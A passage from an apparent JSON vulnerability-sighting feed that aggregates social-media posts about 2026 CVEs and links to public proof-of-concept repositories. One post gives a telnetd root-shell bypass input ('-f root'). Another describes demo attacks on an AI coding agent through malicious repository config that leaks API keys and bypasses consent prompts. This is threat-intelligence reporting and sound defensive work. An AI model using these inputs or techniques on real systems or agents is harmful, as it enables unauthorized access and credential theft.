"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/318", "content": "CVE-2026-21643\n\nAn improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiClientEMS 7.4.4 may allow an unauthenticated attacker to execute unauthorized code or commands via specifically crafted HTTP requests.\n\nGitHub Link:\nhttps://github.com/alirezac0/CVE-2026-21643", "creation_timestamp": "2026-08-29T00:00:31.312929Z"}, {"uuid": "ff695cb7-25a9-4ac4-8b00-75aca743af75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://t.me/pphm_HackerNews/2838", "content": "\ud83d\udd34 Actively Exploited Oracle WebLogic Flaw Lets Unauthenticated Attackers Access Critical Data\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added a maximum-severity security flaw impacting Oracle HTTP Server and Oracle WebLogic Server to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation.\n\nThe vulnerability, tracked as CVE-2026-21962 (CVSS score: 10.0), allows an unauthenticated attacker with network access via HTTP to compromise Oracle HTTP Server and Oracle WebLogic Server Proxy Plug-in. Successful exploitation of the flaw can lead to unauthorized access to the instances or modification of critical data.", "creation_timestamp": "2026-08-25T12:00:04.142698Z"}, {"uuid": "0ced6161-fa8d-45b1-a423-5595359d7062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mtvrfykbz52g", "content": "\ud83d\udce2 Exploitation active de CVE-2026-21962 dans Oracle HTTP Server \u2014 ajout au catalogue KEV de la CISA\n\nGBHackers, publi\u00e9 le 25 ao\u00fbt 2026. La CISA (U.S. Cybersecurity and Infrastructure Security Agency) a officiellement ajout\u00e9\u2026\n\n\ud83d\udfe1 v\u00e9rification factuelle moyenne\n#OracleHTTPServer #CISAKEV #Cyberveille", "creation_timestamp": "2026-08-25T12:00:06.321670Z"}, {"uuid": "2d623717-97ed-4755-bb1c-d293833149be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://t.me/captainsmok3r_official/478", "content": "Actively Exploited Oracle WebLogic Flaw Lets Unauthenticated Attackers Access Critical Data\nsource: https://thehackernews.com/2026/08/actively-exploited-oracle-weblogic-flaw.html\n\npoc: https://github.com/George0Papasotiriou/CVE-2026-21962-Oracle-HTTP-Server-WebLogic-Proxy-Plug-in-Critical-", "creation_timestamp": "2026-08-25T12:00:04.286912Z"}, {"uuid": "3b88529e-1808-497a-97e1-a090351a05ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-23)", "content": "", "creation_timestamp": "2026-08-24T10:00:07.868152Z"}, {"uuid": "ce0993c1-912f-48b4-9e21-ee4d6906728a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mtvsou5sz32s", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added CVE-2026-21962, a critical vulnerability in Oracle HTTP Server and WebLogic Server, to its Known Exploited Vulnerabilities catalog. This flaw, with a CVSS score of 10.", "creation_timestamp": "2026-08-25T12:22:57.854474Z"}, {"uuid": "0d6cdc2a-8085-46d8-a7b1-3b6deff7073b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/reverseame/5589", "content": "Ni8mare\u200a - \u200aUnauthenticated Remote Code Execution in n8n (CVE-2026-21858) #Ni8mare #n8n #RCE #CVE202621858 #Vulnerability https://www.cyera.com/research/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858", "creation_timestamp": "2026-07-29T08:01:20.858965Z"}, {"uuid": "30087c42-d42b-4296-a9e9-5d91d671ff59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21876", "type": "seen", "source": "https://t.me/reverseame/5590", "content": "CVE-2026-21876: Critical Multipart Charset Bypass Fixed in CRS 4.22.0 and 3.3.8 https://coreruleset.org/20260106/cve-2026-21876-critical-multipart-charset-bypass-fixed-in-crs-4.22.0-and-3.3.8/", "creation_timestamp": "2026-07-29T08:01:20.889610Z"}, {"uuid": "81fcbdd7-dbf5-48aa-93eb-30844f1ab29e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-23)", "content": "", "creation_timestamp": "2026-08-24T10:15:34.229655Z"}, {"uuid": "62f73e3e-f254-40b9-97f8-f1831160dc3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17004", "content": "\ud83d\udee1 CVE-2026-21852-PoC (Educational Demo Repo)\n\ud83d\udce6 Repository: atiilla/CVE-2026-21852-PoC\n\ud83d\udc49 https://github.com/atiilla/CVE-2026-21852-PoC\n\nThis repository demonstrates historical PoC patterns for vulnerabilities in the Anthropic Claude Code CLI tool, including CVE-2026-21852, designed for educational purposes only.\n\n\ud83d\udccc What This Repo Contains\n\ud83d\udcc2 Demo directories for historical bugs\nExamples show how malicious config files can influence tool behavior\n\n\ud83d\udc0d Python scripts:\n\u2022 attacker_server.py \u2013 Local server to capture and log simulated traffic\n\u2022 attacker_proxy.py \u2013 Proxy for observing exfiltration behavior\n\u2022 scanner.py \u2013 Scanner to detect risky patterns in local repositories\n\n\ud83d\udcc1 Demo content directories include:\n\u2022 vuln1_hooks_bypass/\n\u2022 CVE-2025-59536_mcp_injection/\n\u2022 CVE-2026-21852_api_exfil/\n(Configuration files under these folders illustrate pattern examples.)\n\n\ud83e\udde0 Vulnerabilities Covered\nThe project explores multiple vulnerabilities historically disclosed for Claude Code CLI:\n\u26a0\ufe0f Hooks consent bypass \u2013 bypasses consent mechanisms (older build)\n\u26a0\ufe0f CVE-2025-59536 \u2013 MCP config injection \u2013 orchestration config risk\n\u26a0\ufe0f CVE-2026-21852 \u2013 API key disclosure \u2013 config causes API key to be sent before trust verification\nThe vulnerability CVE-2026-21852 identified that malicious repository settings could exfiltrate API keys prior to showing a trust prompt in affected Claude Code versions.\n\n\ud83c\udfaf How the Repo Can Be Used (Education Only)\n\ud83d\udccc Scanner\npython3 scanner.py \nDetects dangerous config patterns that could be risky before opening repositories.\n\n\ud83d\udccc Local Demo Server\npython3 attacker_server.py\nSimulates a server to log simulated exfiltration traffic.\n\n\ud83d\udccc Proxy Demo\npython3 attacker_proxy.py\nTransparent proxy to illustrate capture behavior.\n\n\ud83e\udde0 What You Learn Here\n\u2714\ufe0f How untrusted configuration files can impact tool behavior\n\u2714\ufe0f Why verifying repository contents before opening is important\n\u2714\ufe0f The concept of pre-execution key leakage (API exfiltration)\n\u2714\ufe0f How scanners can detect repository risk patterns\nThese skills are valuable in secure dev workflows, supply chain security, and blue team defensive validation.\n\n\u26a0\ufe0f Important Notes (Responsible Use)\n\u2705 This repository is for security research and learning only.\n\u274c Do NOT deploy these scripts against third-party or production systems.\n\u274c Never open untrusted repositories in real tools without inspection.\n\u2696\ufe0f Always practice ethical/authorized testing and use isolated lab environments.\n\n\ud83d\udccc Additional Reference: CVE-2026-21852 Description\n\ud83d\udccc The vulnerability CVE-2026-21852 pertains to an information disclosure issue in Claude Code \n       where repository settings could cause premature API calls before trust confirmation, risking API key exfiltration.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-29T00:00:32.171810Z"}, {"uuid": "94b272df-2d15-4833-b2eb-0dc22a496033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-23)", "content": "", "creation_timestamp": "2026-08-24T10:15:34.756577Z"}, {"uuid": "040f16de-1f59-4758-895a-e2e3569ada8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/modat-io.bsky.social/post/3mtvxyxiqb223", "content": "CVE-2026-21962 (CVSS 10.0, CISA KEV): unauth attackers gain complete data access via Oracle HTTP Server & WebLogic Proxy Plug-Ins. Apply Oracl\u2019s January Patch. 3-day CISA deadline. Query: magnify.modat.io/search?query...", "creation_timestamp": "2026-08-25T13:58:07.897815Z"}, {"uuid": "b248f155-ba6f-453f-a5ff-b9fb5920b871", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21962", "type": "seen", "source": "https://bsky.app/profile/etairos-ai.bsky.social/post/3mtvyhf6vj425", "content": "CVE-2026-21962: Oracle WebLogic Proxy Plug-in. CVSS 10.0, unauthenticated, now on CISA KEV. Exploited since February. Internet-facing hosts: patch and hunt.\n#ThreatIntel #ICS #CyberSecurity\nhttps://threat-intelligence.redeyesecurity.com/blog/oracle-weblogic-cve-2026-21962-exploited-kev-2026", "creation_timestamp": "2026-08-25T14:06:09.735980Z"}, {"uuid": "55beebd0-c410-4b3e-b0f8-f7eac5579fe2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117156592245274145", "content": "\ud83d\udcf0 CISA Adds Actively Exploited Oracle Flaw to KEV Catalog\nCISA adds actively exploited Oracle vulnerability CVE-2026-21962 to its KEV catalog. Flaw affects Oracle HTTP Server & WebLogic Server Proxy Plug-in. Federal agencies must patch. #CVE #Oracle #CISA #KEV #PatchNow\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisa-adds-oracle-http-server-vulnerability-to-kev-catalog/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-08-25T14:22:10.730612Z"}, {"uuid": "ed65f0c5-dd4c-46a1-a7f6-23c7f1f61bc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mtvzetcg432l", "content": "CISA adds actively exploited Oracle vulnerability CVE-2026-21962 to its KEV catalog. Flaw affects Oracle HTTP Server & WebLogic Server Proxy Plug-in. Federal agencies must patch. #CVE #Oracle #CISA #KEV #PatchNow\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-08-25T14:22:37.377699Z"}, {"uuid": "8fe8fc79-7e1a-4bc9-afcb-d7ee31d190ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21655", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mrs5a3ujze2r", "content": "A C-CURE 9000 vulnerability chain hits CVSS 9.6. CVE-2026-21655 allows remote code execution on Johnson Controls victor application servers.\n\n#CCURE9000 #CVE202621655 #JohnsonControls #ICSSecurity", "creation_timestamp": "2026-07-29T14:30:31.379309Z"}, {"uuid": "70ec40be-68fa-4be5-a8de-5177bcf54bca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21962", "type": "seen", "source": "https://bsky.app/profile/endoflife.ai/post/3mtw5rfpc5j2p", "content": "\ud83d\udcd6 New from endoflife.ai:\n\nWebLogic's Perfect-Score KEV Entry: CVE-2026-21962, a Three-Day Federal Deadline, and the Versions That Will Never Get the Patch\n\nhttps://endoflife.ai/article-weblogic-cve-2026-21962", "creation_timestamp": "2026-08-25T15:41:15.007168Z"}, {"uuid": "40034e80-92fd-4185-996b-13f837dca187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17045", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent CVE vulnerabilities with publicly available PoC repositories useful for security research and vulnerability analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Remote Authentication Bypass\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication.\nBy sending a crafted USER environment variable (-f root) through the NEW_ENVIRON telnet option, attackers can obtain a root shell without credentials.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns Heap Out-of-Bounds Read (DoS)\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns DNS server version 1.3 can trigger a crash and denial-of-service condition.\nThe flaw occurs during DNS request processing and may lead to memory access violations.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety issue\n\n3\ufe0f\u20e3 CVE-2026-22444\n\ud83c\udfaf Apache Solr RCE / NTLM Hash Disclosure\n\n\ud83d\udd17 PoC\nhttps://github.com/dptsec/CVE-2026-22444\n\n\ud83e\udde0 Overview\nA vulnerability in Apache Solr (8.6 \u2013 9.10.0) allows attackers to trigger remote command execution or expose NTLM hashes in certain Windows standalone deployments.\nPublic PoC scripts demonstrate exploitation scenarios.\n\n\u2699\ufe0f Impact\n\u2022 Remote Code Execution\n\u2022 NTLM hash leakage\n\u2022 Server compromise\n\n4\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office Security Feature Bypass\n\n\ud83d\udd17 PoC\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA research PoC demonstrates how specially crafted DOCX files with embedded OLE artifacts can bypass certain security protections in Microsoft Office environments.\nThe PoC is designed primarily for EDR / AV detection testing in isolated labs.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Potential malware delivery vector\n\n5\ufe0f\u20e3 CVE-2026-29000\n\ud83c\udfaf pac4j-jwt Authentication Bypass (CVSS 10)\n\n\ud83e\udde0 Overview\nA critical vulnerability in the pac4j-jwt authentication library allows attackers to forge JWT tokens using only the public key.\nThis enables attackers to authenticate as any user, including administrators, without knowing a secret.\n\n\u2699\ufe0f Impact\n\u2022 Complete authentication bypass\n\u2022 Account takeover\n\u2022 CVSS 10.0 Critical\n\n\ud83d\udcda Research Value\nThese PoC repositories can be used for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Secure coding research\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:07.341924Z"}, {"uuid": "c8fbb209-061d-4e9e-9711-8de3f07aebc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17080", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Fresh Collection)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories, collected and verified from GitHub.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-32941\n\ud83c\udfaf Sliver C2 \u2013 Remote Denial of Service (OOM Crash)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/skoveit/CVE-2026-32941\n\n\ud83e\udde0 Overview\nA vulnerability in the Sliver C2 framework allows attackers to trigger a remote Out-of-Memory (OOM) crash by abusing uncontrolled memory allocation.\nThe flaw occurs due to trusting attacker-controlled message size values, enabling allocation of extremely large memory blocks.\n\n\u2699\ufe0f Impact\n\u2022 Remote Denial of Service\n\u2022 C2 infrastructure disruption\n\u2022 Potential full operation shutdown\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/fartlover37/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink CSS engine allows attackers to execute arbitrary code within the browser sandbox.\nThe PoC triggers memory corruption through CSS manipulation and layout recalculation.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Active exploitation confirmed\n\u2022 Potential exploit chain to full system compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-21992\n\ud83c\udfaf Web Application Vulnerability \u2013 Exploit PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/TEXploited/CVE-2026-21992\n\n\ud83e\udde0 Overview\nA newly published PoC demonstrates exploitation of a web-based vulnerability (details vary depending on deployment).\nThe repository includes exploit logic useful for testing input validation and server-side handling weaknesses.\n\n\u2699\ufe0f Impact\n\u2022 Web application compromise\n\u2022 Potential RCE / data exposure\n\u2022 Useful for exploitation research\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-3888\n\ud83c\udfaf Application-Level Vulnerability \u2013 PoC Exploit\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/netw0rk7/CVE-2026-3888-PoC\n\n\ud83e\udde0 Overview\nA Proof-of-Concept demonstrating exploitation of a recently disclosed vulnerability affecting application-level logic.\nThe PoC provides a working example of triggering abnormal behavior through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Service disruption\n\u2022 Input validation bypass\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-32746\n\ud83c\udfaf System / Application Vulnerability \u2013 Research PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/jeffaf/cve-2026-32746\n\n\ud83e\udde0 Overview\nThis repository provides a PoC targeting CVE-2026-32746, demonstrating potential exploitation paths and abnormal system behavior.\n\n\u2699\ufe0f Impact\n\u2022 Potential privilege abuse\n\u2022 System instability\n\u2022 Research and testing value\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoCs are useful for:\n\u2022 Real-world exploit analysis\n\u2022 Red team / blue team exercises\n\u2022 Patch validation testing\n\u2022 Vulnerability research workflows\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:09.312038Z"}, {"uuid": "f2d23e11-9961-4582-9813-c480ed7ff9aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-29)", "content": "", "creation_timestamp": "2026-08-30T10:00:07.142701Z"}, {"uuid": "6dbb5098-5dac-47f7-b9ef-f5fcd1a4ea7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/CyberDispatch/598", "content": "Microsoft rushed out out-of-band fixes for an actively exploited Office zero-day.\n\nCVE-2026-21509 (CVSS 7.8) lets attackers bypass Office security using a malicious file that must be opened by the victim.", "creation_timestamp": "2026-08-31T00:00:11.496275Z"}, {"uuid": "32da2e20-0969-474b-ba84-2eda7f2cacc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/CyberDispatch/1230", "content": "APT28 is targeting Ukraine and allied supply chains using a confirmed zero-day (CVE-2026-21513) and PRISMEX malware.\n\nIt also exploits CVE-2026-21509, with LNK delivery possibly chaining both flaws to enable theft and file-wiping.", "creation_timestamp": "2026-08-31T00:00:26.541293Z"}, {"uuid": "8de200eb-ea03-48c7-9f8b-440a77e904cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "exploited", "source": "https://t.me/CyberDispatch/1230", "content": "APT28 is targeting Ukraine and allied supply chains using a confirmed zero-day (CVE-2026-21513) and PRISMEX malware.\n\nIt also exploits CVE-2026-21509, with LNK delivery possibly chaining both flaws to enable theft and file-wiping.", "creation_timestamp": "2026-08-31T00:00:26.588633Z"}, {"uuid": "3b2f6280-31c5-4431-996c-4c964639eb03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21006", "type": "published-proof-of-concept", "source": "Telegram/EPECfWsuM-c4t4TOzI-5L7oV30YbkQAiF7UZVptSiNCSMQA", "content": "", "creation_timestamp": "2026-08-31T00:00:40.119920Z"}, {"uuid": "61b816e0-eccd-490f-9adc-4089aed388b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21580", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mue3af4two2i", "content": "The latest update for #CyCognito includes \"ASM Has a Silent C, and It Stands for Change Management\" and \"Emerging Threat: (CVE-2026-21580) Confluence Privilege Escalation via Unauthenticated Stored XSS\".\n \n#cybersecurity #AttackSurfaceManagement #EASM https://opsmtrs.com/44Srq0X", "creation_timestamp": "2026-08-31T04:33:11.689094Z"}, {"uuid": "4583a681-f0e1-4d77-8cf8-f5ca12c44265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-01T17:00:12.622187Z"}, {"uuid": "5950c1c2-70f4-4150-9c3e-17055348bdd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/cissp/7861", "content": "#AppSec\n#InfosecStandards\nOWASP Application Security Verification Standard\nVersion 5.0.0, 2025.\n\nPlus also\nFortinet Fixes Critical FortiClientEMS RCE (CVE-2026-21643, CVSS 9.1).\n\nSQL injection flaw enables unauthenticated remote command execution via crafted requests. Affects EMS 7.4.4 (patch available). Separate FortiCloud SSO bug is actively exploited for admin persistence and firewall config theft.\nSee affected versions and patch guidance \u2192 \nhttps://thehackernews.com/2026/02/fortinet-patches-critical-sqli-flaw.html\n\n\u2014 CISO as a Service \u2014\n| Strategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.02.23\n\nhttps://www.linkedin.com/posts/alirezaghahrood_owasp-asvs-2025-activity-7431554057246265344-Ly7z", "creation_timestamp": "2026-09-01T17:00:12.819562Z"}, {"uuid": "6ce1c157-6544-4ab0-9872-a62d0547683c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21723", "type": "seen", "source": "https://t.me/hacking_Attack/190398", "content": "Two Recent Grafana Security Issues Every Security Team Should UnderstandContinue reading on Medium \u00bb (https://medium.com/@pentesterclubpvtltd/grafana-security-alert-cve-2026-15583-cve-2026-21723-explained-ea8ca1568001?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:06.039763Z"}, {"uuid": "6ba58070-c196-4b64-81ef-215be610f877", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21723", "type": "seen", "source": "https://t.me/hacking_Attack/190396", "content": "Grafana Security Alert | CVE-2026\u201315583 & CVE-2026\u201321723 